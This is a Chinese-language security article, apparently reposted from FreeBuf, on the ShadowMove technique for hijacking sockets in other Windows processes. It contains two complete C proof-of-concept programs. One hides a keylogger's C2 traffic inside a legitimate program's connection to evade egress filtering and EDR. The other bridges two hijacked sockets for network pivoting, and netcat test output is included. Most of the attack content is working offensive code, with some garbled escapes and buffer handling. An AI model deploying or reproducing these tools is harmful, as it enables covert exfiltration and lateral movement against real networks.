ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

  • A+
所属分类:安全文章

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

概述

在这篇文章中,我们将跟大家介绍如何使用ShadowMove技术在合法程序的网络连接中隐藏自己的恶意链接。我们将展示两个使用ShadowMove技术的PoC,并隐藏我们的恶意软件所建立的连接。第一种方法是完全可靠的,但是第二种方法有自己的问题,如果你要在实际操作中使用它,就必须解决这些问题,我们将在文章的最后讨论这些问题。

ShadowMove介绍

ShadowMove是一种从non-cooperative进程中劫持Socket的新技术,发布于2020年USENIX大会上的一篇标题为《ShadowMove: A Stealthy Lateral Movement Strategy》的文章首次讨论了这一技术。这种技术利用了以下事实:AFD(辅助函数驱动程序)文件句柄被Windows API视为Socket句柄,因此可以使用WSADuplicateSocket()函数来复制它们。

从non-cooperative进程劫持Socket的一种常见模式,是从进程注入开始的,以便加载我们自己的逻辑来查找和复用目标Socket。但是在ShadowMove技术的帮助下,我们完全不需要注入任何东西:它只需要打开具有PROCESS_DUP_HANDLE权限的进程句柄。

在这个句柄的帮助下,我们可以开始复制所有其他的文件句柄,直到找到名为DeviceAfd的文件句柄,然后使用getpeername()检查它是否属于与目标的连接。

为什么这项技术对于红队来说非常有意思?

在我们最近的一次红队评估过程中,我们不得不在目标设备中安装我们的键盘记录器,但是它会屏蔽任何由非白名单二进制文件建立的任何连接。为了避免这个问题,我们需要向一个允许向外建立连接的进程中注入我们的键盘记录器。但是在ShadowMove技术的帮助下,我们可以避免任何可能由注入产生的噪声(没错,我们可以使用其他方法来绕过EDR,但到目前为止,这种方法更干净)。

在合法进程中隐藏到C&C的连接

假设我们有一个键盘记录程序,我们想使用ShadowMove将截获的密钥发送到我们的C&C。每当我们必须发送一批密钥时,我们需要运行一个合法的程序并尝试连接到我们的C&C,比如说mssql客户端。当建立连接之后,我们必须使用键盘记录器来劫持连接。当然,在企业环境中,我们还需要通过企业代理来设置连接,而不是直接连接到C&C,但是让我们暂时忘记这一点。

ShadowMove技术的实现步骤如下:

使用PROCESS_DUP_HANDLE权限打开所有者进程;

每一个句柄为0x24(文件)类型;

复制句柄;

检索句柄名称;

如果名称不是deviceafd,则跳过;

获取远程IP和远程端口号;

如果远程IP和端口与输入参数不匹配,则跳过;

调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构;

创建重复的Socket;

使用这个Socket;

为此,我们创建了一个名为“ShadowMove Gateway”的PoC。基本上,我们只需要提供进程PID和我们C&C的IP地址即可:

/ PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib,"WS2_32")
// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
HANDLE ObjectHandle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_NAME_INFORMATION
{
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName){
return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
HANDLE hProc;
PSYSTEM_HANDLE_INFORMATION handleInfo;
DWORD handleInfoSize = 0x10000;
NTSTATUS status;
DWORD returnLength;
WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
SOCKET targetSocket;
// Open target process with PROCESS_DUP_HANDLE rights
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
if (!hProc) {
printf("[!] Error: could not open the process!n");
exit(-1);
}
printf("[+] Handle to process obtained!n");
// Find the functions
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
// Retrieve handles from the target process
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
printf("[+] Found [%d] handlers in PID %dn============================n", handleInfo->HandleCount, dwProcessId);
// Iterate
for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
// Check if it is the desired type of handle
if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
HANDLE dupHandle = NULL;
POBJECT_NAME_INFORMATION objectNameInfo;
// Dupplicate handle
NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);
// Get handle info
NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);
// Narrow the search checking if the name length is correct (len(DeviceAfd) == 11 * 2)
if (objectNameInfo->Name.Length == 22) {
printf("[-] Testing %d of %dn", i, handleInfo->HandleCount);
// Check if it ends in "Afd"
LPWSTR needle = (LPWSTR)malloc(8);
memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {
// We got a candidate
printf("t[*] \Device\Afd found at %d!n", i);
// Try to duplicate the socket
status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
if (status != 0) {
printf("tt[X] Error duplicating socket!n");
free(needle);
free(objectNameInfo);
CloseHandle(dupHandle);
continue;
}
// We got it?
targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
if (targetSocket != INVALID_SOCKET) {
struct sockaddr_in sockaddr;
DWORD len;
len = sizeof(SOCKADDR_IN);
// It this the socket?
if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len) == 0) {
if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
printf("t[*] Duplicated socket (%s)n", inet_ntoa(sockaddr.sin_addr));
free(needle);
free(objectNameInfo);
return targetSocket;
}
}
}
free(needle);
}
}
free(objectNameInfo);
}
}
return 0;
}
int main(int argc, char** argv) {
WORD wVersionRequested;
WSADATA wsaData;
DWORD dwProcessId;
LPWSTR dstIP = NULL;
SOCKET targetSocket;
char buff[255] = { 0 };
printf("ttt-=[ ShadowMove Gateway PoC ]=-nn");
// smgateway.exe [PID] [IP dst]
/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
if (argc != 3) {
printf("[!] Error: syntax is %s [PID] [IP dst]n", argv[0]);
exit(-1);
}
dwProcessId = strtoul(argv[1], NULL, 10);
dstIP = (LPSTR)malloc(strlen(argv[2]) * (char) + 1);
memcpy(dstIP, argv[2], strlen(dstIP));
// Classic
wVersionRequested = MAKEWORD(2, 2);
WSAStartup(wVersionRequested, &wsaData);
targetSocket = findTargetSocket(dwProcessId, dstIP);
send(targetSocket, "Hello From the other side!n", strlen("Hello From the other side!n"), 0);
recv(targetSocket, buff, 255, 0);
printf("n[*] Message from outside:nn %sn", buff);
return 0;
}

在这里,我们只需要从受感染设备发送一条“Hello from the other side!”消息给C&C服务器,然后C&C服务器就会返回一条“Stay hydrated!”给受感染设备。

两台设备之间的通信“桥梁”

我们刚刚看到了如何使用ShadowMove将程序转换为本地植入的代理,但同样的方法也可以用于两台机器之间的通信。设想一个场景,我们有三台机器:A ↔ B ↔ C。如果我们想从A访问C的公开服务,那么我们必须在B中转发流量(使用netsh或代理)。当然了,我们也可以使用ShadowMove技术来实现这个目标。

我们只需要在B中执行两个合法程序:一个连接到A中的一个开放端口,另一个连接到C中的目标服务,然后劫持这两个Socket并桥接它们。

注意:假设我们想从A执行ldapsearch,而域控制器位于C。那么在A中,我们需要一个脚本来暴露这两个端口,一个从ldapsearch(A’)接收连接,另一个从B(A’’)接收连接。因此,在A’中接收的所有内容都被发送到A’(通过B连接),然后我们的网桥将所有内容转发到B和C之间的连接。

在B中执行的代码与我们以前使用的几乎相同:

// PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib,"WS2_32")
// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1
#define MSG_END_OF_TRANSMISSION "x31x41x59x26x53x58x97x93x23x84"
#define BUFSIZE 65536
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
HANDLE ObjectHandle,
ULONG ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;
typedef struct _OBJECT_NAME_INFORMATION
{
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName){
return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
HANDLE hProc;
PSYSTEM_HANDLE_INFORMATION handleInfo;
DWORD handleInfoSize = 0x10000;
NTSTATUS status;
DWORD returnLength;
WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
SOCKET targetSocket;
// Open target process with PROCESS_DUP_HANDLE rights
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
if (!hProc) {
printf("[!] Error: could not open the process!n");
exit(-1);
}
printf("[+] Handle to process obtained!n");
// Find the functions
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
// Retrieve handles from the target process
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
printf("[+] Found [%d] handlers in PID %dn============================n", handleInfo->HandleCount, dwProcessId);
// Iterate
for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
// Check if it is the desired type of handle
if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
HANDLE dupHandle = NULL;
POBJECT_NAME_INFORMATION objectNameInfo;
// Dupplicate handle
NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);
// Get handle info
NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);
// Narrow the search checking if the name length is correct (len(DeviceAfd) == 11 * 2)
if (objectNameInfo->Name.Length == 22) {
printf("[-] Testing %d of %dn", i, handleInfo->HandleCount);
// Check if it ends in "Afd"
LPWSTR needle = (LPWSTR)malloc(8);
memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {
// We got a candidate
printf("t[*] \Device\Afd found at %d!n", i);
// Try to duplicate the socket
status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
if (status != 0) {
printf("tt[X] Error duplicating socket!n");
free(needle);
free(objectNameInfo);
CloseHandle(dupHandle);
continue;
}
// We got it?
targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
if (targetSocket != INVALID_SOCKET) {
struct sockaddr_in sockaddr;
DWORD len;
len = sizeof(SOCKADDR_IN);
// It this the socket?
if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len) == 0) {
if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
printf("t[*] Duplicated socket (%s)n", inet_ntoa(sockaddr.sin_addr));
free(needle);
free(objectNameInfo);
return targetSocket;
}
}
}
free(needle);
}
}
free(objectNameInfo);
}
}
return 0;
}
// Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp
void bridge(SOCKET fd0, SOCKET fd1){
int maxfd, ret;
fd_set rd_set;
size_t nread;
char buffer_r[BUFSIZE];
maxfd = (fd0 > fd1) ? fd0 : fd1;
while (1) {
FD_ZERO(&rd_set);
FD_SET(fd0, &rd_set);
FD_SET(fd1, &rd_set);
ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);
if (ret < 0 && errno == EINTR) {
continue;
}
if (FD_ISSET(fd0, &rd_set)) {
nread = recv(fd0, buffer_r, BUFSIZE, 0);
if (nread <= 0)
break;
send(fd1, buffer_r, nread, 0);
}
if (FD_ISSET(fd1, &rd_set)) {
nread = recv(fd1, buffer_r, BUFSIZE, 0);
if (nread <= 0)
break;
// End of transmission
if (nread >= strlen(MSG_END_OF_TRANSMISSION) && strstr(buffer_r, MSG_END_OF_TRANSMISSION) != NULL) {
send(fd0, buffer_r, nread - strlen(MSG_END_OF_TRANSMISSION), 0);
break;
}
send(fd0, buffer_r, nread, 0);
}
}
}
int main(int argc, char** argv) {
WORD wVersionRequested;
WSADATA wsaData;
DWORD dwProcessIdSrc;
WORD dwProcessIdDst;
LPSTR dstIP = NULL;
LPSTR srcIP = NULL;
SOCKET srcSocket;
SOCKET dstSocket;
printf("ttt-=[ ShadowMove Pivot PoC ]=-nn");
// smpivot.exe [PID src] [PID dst] [IP dst] [IP src]
/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
if (argc != 5) {
printf("[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]n", argv[0]);
exit(-1);
}
dwProcessIdSrc = strtoul(argv[1], NULL, 10);
dwProcessIdDst = strtoul(argv[2], NULL, 10);
dstIP = (LPSTR)malloc(strlen(argv[4]) * (char) + 1);
memcpy(dstIP, argv[3], strlen(dstIP));
srcIP = (LPSTR)malloc(strlen(argv[3]) * (char) + 1);
memcpy(srcIP, argv[4], strlen(srcIP));
// Classic
wVersionRequested = MAKEWORD(2, 2);
WSAStartup(wVersionRequested, &wsaData);
srcSocket = findTargetSocket(dwProcessIdSrc, srcIP);
dstSocket = findTargetSocket(dwProcessIdDst, dstIP);
if (srcSocket == 0) {
printf("n[!] Error: could not attach to source socket");
return -1;
}
printf("n[<] Attached to SOURCEn");
if (dstSocket == 0) {
printf("n[!] Error: could not attach to sink socket");
return -1;
}
printf("[>] Attached to SINKn");
printf("============================n[Link up]n============================n");
bridge(srcSocket, dstSocket);
printf("============================n[Link down]n============================n");
return 0;
}
我们可以通过连接两个监听的netcat来进行测试,其中一个为10.0.2.2,另一个为10.0.2.15-=[ ShadowMove Pivot PoC ]=-
[+] Handle to process obtained!
[+] Found [66919] handlers in PID 5364
============================
[-] Testing 3779 of 66919
[-] Testing 10254 of 66919
[*] DeviceAfd found at 10254!
[*] Duplicated socket (10.0.2.15)
[+] Handle to process obtained!
[+] Found [67202] handlers in PID 7596
============================
[-] Testing 3767 of 67202
[-] Testing 10240 of 67202
[*] DeviceAfd found at 10240!
[*] Duplicated socket (10.0.2.2)
[<] Attached to SOURCE
[>] Attached to SINK
============================
[Link up]
============================
In one of our ends:
[email protected]:~/Research/shadowmove|⇒ nc -lvp 8081
Listening on [0.0.0.0] (family 0, port 8081)
Connection from localhost 59596 received!
Hello from 10.0.2.15!
This is me from 10.0.2.2!

问题与解决方案

数据冲突

我们在使用复制的Socket时,原始的程序还会持续进行数据读取。这也就意味着,如果程序代替我们读取某些字节,它们可能会丢失,但如果我们实现了一个处理丢失数据包的自定义协议,则可以很容易地解决这一问题。

超时

如果在劫持Socket之前,连接因超时而关闭的话,我们就不能复用目标Socket了。

旧的句柄

根据所使用的程序,可能会找到满足我们条件的旧句柄(getpeername返回目标IP,但句柄不能使用)。如果第一次连接尝试失败,可能会发生这种情况。要解决这个问题,只需改进检测方法。

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

精彩推荐





ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

本文始发于微信公众号(FreeBuf):ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: